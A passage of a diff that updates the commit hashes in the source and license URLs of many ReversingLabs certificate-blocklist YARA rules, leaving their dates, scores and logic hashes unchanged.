+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5560-L5578"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2444c78aefdb9e8c8004598a318db016d7e781ede6da2ba3ee85316456c3e77b"
 		score = 75
 		quality = 90
@@ -8931,8 +8984,8 @@ rule REVERSINGLABS_Cert_Blocklist_5B320A2F46C99C1Ba1357Bee : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5580-L5596"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5580-L5596"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "12797f80bce9d64c6c07e185aa309a0c4f910835745a7f2cc1874fb1211624d8"
 		score = 75
 		quality = 90
@@ -8956,8 +9009,8 @@ rule REVERSINGLABS_Cert_Blocklist_08D4352185317271C1Cec9D05C279Af7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5598-L5614"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5598-L5614"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b240962ab23729b241413ed1e53ac6541bf6b8a673c57522efd0cfe0c7eb9dd4"
 		score = 75
 		quality = 90
@@ -8981,8 +9034,8 @@ rule REVERSINGLABS_Cert_Blocklist_B514E4C5309Ef9F27Add05Bedd4339A0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5616-L5634"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5616-L5634"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "665b280218528bbe3d5c65d043266469e5288587ed9d85d01797bef7ce132a6f"
 		score = 75
 		quality = 90
@@ -9006,8 +9059,8 @@ rule REVERSINGLABS_Cert_Blocklist_13C7B92282Aae782Bfb00Baf879935F4 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5636-L5652"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5636-L5652"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d4edbb446a51e5153ba88d6757d5fb610303eac3fd4bdd3b987b508dc618d2dc"
 		score = 75
 		quality = 90
@@ -9031,8 +9084,8 @@ rule REVERSINGLABS_Cert_Blocklist_D627F1000D12485995514Bfbdefc55D9 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5654-L5672"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5654-L5672"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7ca590d71997879d17054a936238dd5273a52f3438d1b231a75927abfb118ffd"
 		score = 75
 		quality = 90
@@ -9056,8 +9109,8 @@ rule REVERSINGLABS_Cert_Blocklist_5Fb6Bae8834Edd8D3D58818Edc86D7D7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5674-L5690"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5674-L5690"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a8cec0479bfd53f34e291d56538187c05375e80d20af7f0af08f0db8e1d6ed22"
 		score = 75
 		quality = 90
@@ -9081,8 +9134,8 @@ rule REVERSINGLABS_Cert_Blocklist_E5Ad42C509A7C24605530D35832C091E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5692-L5710"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5692-L5710"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2d57d1c171734d0da167ce7eba47aecd88cd15063488d79659804c6c2fae00a2"
 		score = 75
 		quality = 90
@@ -9106,8 +9159,8 @@ rule REVERSINGLABS_Cert_Blocklist_8E3D89C682F7C0Dad70110Cb7B7C8263 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5712-L5730"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5712-L5730"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a0f42c5492469e7f132b000aead2d674fed4ea9c0e168579fd55a6c89b45ae4d"
 		score = 75
 		quality = 90
@@ -9131,8 +9184,8 @@ rule REVERSINGLABS_Cert_Blocklist_Ef2D35F2Ae82A767A16Be582Ab0D1Ba0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5732-L5750"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5732-L5750"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0709290aeb18bcb855518e150c2768c24ab311f5c727cdc4c40145b879ff88b6"
 		score = 75
 		quality = 90
@@ -9156,8 +9209,8 @@ rule REVERSINGLABS_Cert_Blocklist_039668034826Df47E6207Ec9Daed57C3 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5752-L5768"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5752-L5768"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "792860feec6e599ba22ae3869ef132cf5b7be2e0572e23503e293444fd7c382d"
 		score = 75
 		quality = 90
@@ -9181,8 +9234,8 @@ rule REVERSINGLABS_Cert_Blocklist_07Bb6A9D1C642C5973C16D5353B17Ca4 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5770-L5786"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5770-L5786"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b98dcd4f0ebe870a9dad55cac5b0db81be6062216337b75a74a0aff8436df57f"
 		score = 75
 		quality = 90
@@ -9206,8 +9259,8 @@ rule REVERSINGLABS_Cert_Blocklist_0A1Dc99E4D5264C45A5090F93242A30A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5788-L5804"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5788-L5804"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1985c9c4f4a93c3088eaec3031df93cf87a9d7ee36b94322330caf3c21982f3c"
 		score = 75
 		quality = 90
@@ -9231,8 +9284,8 @@ rule REVERSINGLABS_Cert_Blocklist_018093Cfad72Cdf402Eecbe18B33Ec71 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5806-L5822"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5806-L5822"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ac398ef89e691158742598777c320832a750a7410904448778afc7ef3c63c255"
 		score = 75
 		quality = 90
@@ -9256,8 +9309,8 @@ rule REVERSINGLABS_Cert_Blocklist_569E03988Af60D80Ce60728940850D9B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5824-L5842"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5824-L5842"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3ea894d9e088c2123f9ec87cbf097e2275fae18cad26e926641fe64921808b1e"
 		score = 75
 		quality = 90
@@ -9281,8 +9334,8 @@ rule REVERSINGLABS_Cert_Blocklist_418F6D959A8A0F82Bef07Ceba3603E52 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5844-L5862"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5844-L5862"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6c13c5e85d6e053319193d1d94f216eeec64405c86d15971419078a1ce6c8ac9"
 		score = 75
 		quality = 90
@@ -9306,8 +9359,8 @@ rule REVERSINGLABS_Cert_Blocklist_5378C5Bbeba0D3309A35Bb47F63037F7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5864-L5882"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5864-L5882"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a96acf93ca6da4d3bf5177b51996825cd3ea70443577622deccdd11fde579c31"
 		score = 75
 		quality = 90
@@ -9331,8 +9384,8 @@ rule REVERSINGLABS_Cert_Blocklist_0Bab6A2Aa84B495D9E554A4C42C0126D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5884-L5900"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5884-L5900"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "79b6df421c78fd3e2f05a60f7d875e02519297a0278614c9f63dff8b1b2a2d18"
 		score = 75
 		quality = 90
@@ -9356,8 +9409,8 @@ rule REVERSINGLABS_Cert_Blocklist_6314001C3235Cd59Bcc3F5278C518804 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5902-L5918"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5902-L5918"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4320f3884c0f7e4939e8988a4e83b8028a5e01fb425ae4faa2273134db835813"
 		score = 75
 		quality = 90
@@ -9381,8 +9434,8 @@ rule REVERSINGLABS_Cert_Blocklist_0Ed8Ade5D73B73Dade6943D557Ff87E5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5920-L5936"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5920-L5936"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7796b6e7da900be8634e7f1e51cda1275ab1e7c2709af7ecaa8777ab0b518494"
 		score = 75
 		quality = 90
@@ -9406,8 +9459,8 @@ rule REVERSINGLABS_Cert_Blocklist_0292C7D574132Ba5C0441D1C7Ffcb805 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5938-L5954"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5938-L5954"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d2bcf72f4c5829d161bc40e820eb0b1a85deaa49b749422d5429e27b7fb2b1fe"
 		score = 75
 		quality = 90
@@ -9431,8 +9484,8 @@ rule REVERSINGLABS_Cert_Blocklist_1F23F001458716D435Cca1A55D660Ec5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5956-L5972"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5956-L5972"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "bacfb4b7900ab57d23474e0422bd74fff113296b8db37e8eae3bd456443d28d6"
 		score = 75
 		quality = 90
@@ -9456,8 +9509,8 @@ rule REVERSINGLABS_Cert_Blocklist_6E0Ccbdfb4777E10Ea6221B90Dc350C2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5974-L5990"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5974-L5990"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "08a1ff7cc3a7680fdbb3235a7b46709cd4ba530a9afeab4344671db9fe893cc4"
 		score = 75
 		quality = 90
@@ -9481,8 +9534,8 @@ rule REVERSINGLABS_Cert_Blocklist_0Ed1847A2Ae5D71Def1E833Fddd33D38 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L5992-L6008"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L5992-L6008"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0ec5eb8ff1f630284fabfba5c58dd563d471343ace718f79dad08cfe75c3070d"
 		score = 75
 		quality = 90
@@ -9506,8 +9559,8 @@ rule REVERSINGLABS_Cert_Blocklist_97Df46Acb26B7C81A13Cc467B47688C8 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6010-L6028"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6010-L6028"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6f6e0e175caee83eaec2dacedaf564b642195a8815cfd0d4564f581070b0c545"
 		score = 75
 		quality = 90
@@ -9531,8 +9584,8 @@ rule REVERSINGLABS_Cert_Blocklist_186D49Fac34Ce99775B8E7Ffbf50679D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6030-L6046"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6030-L6046"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0444a5052ee384451ebd85918bbc6bf6d6a75334899a63a8b5828ef06cb9c7ca"
 		score = 75
 		quality = 90
@@ -9556,8 +9609,8 @@ rule REVERSINGLABS_Cert_Blocklist_B1Aea98Bf0Ce789B6C952310F14Edde0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6048-L6066"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6048-L6066"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6e78750d6aca91e9e6d8f2651a5682ccdab5cd20ee3a74e1f8582eb7bc45d614"
 		score = 75
 		quality = 90
@@ -9581,8 +9634,8 @@ rule REVERSINGLABS_Cert_Blocklist_2Dcd0699Da08915Dde6D044Cb474157C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6068-L6084"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6068-L6084"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e1a3f27b8b9b642fe1ca73ec54d225f4470b53d0d06f2eea55ad1ad43ec67b39"
 		score = 75
 		quality = 90
@@ -9606,8 +9659,8 @@ rule REVERSINGLABS_Cert_Blocklist_4B03Cabe6A0481F17A2Dbeb9Aefad425 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6086-L6102"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6086-L6102"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6986e7bd90842647ec6a168c30dca2d5ae8ae5b1c1014f966dd596a78859ac6e"
 		score = 75
 		quality = 90
@@ -9631,8 +9684,8 @@ rule REVERSINGLABS_Cert_Blocklist_64Cd303Fa289790Afa03C403E9240002 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6104-L6120"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6104-L6120"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f51556a8a12affbd7f7633bf8daa50e6332fa3d3448ea08853cf8ed28e593680"
 		score = 75
 		quality = 90
